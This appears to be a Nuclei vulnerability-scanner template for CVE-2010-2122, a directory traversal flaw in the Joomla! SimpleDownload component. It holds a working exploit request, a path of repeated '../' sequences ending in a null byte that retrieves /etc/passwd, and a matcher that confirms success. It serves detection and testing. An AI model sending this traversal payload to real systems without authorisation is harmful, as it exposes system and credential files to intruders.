id: CVE-2010-2122
info:
name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval
author: daffainfo
severity: high
description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12623
- https://www.cvedetails.com/cve/CVE-2010-2122
- https://www.exploit-db.com/exploits/12618
- http://web.archive.org/web/20210624180854/https://www.securityfocus.com/bid/40192
remediation: Upgrade to a supported version.
classification:
cve-id: CVE-2010-2122
tags: cve,cve2010,joomla,lfi,edb
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/02/17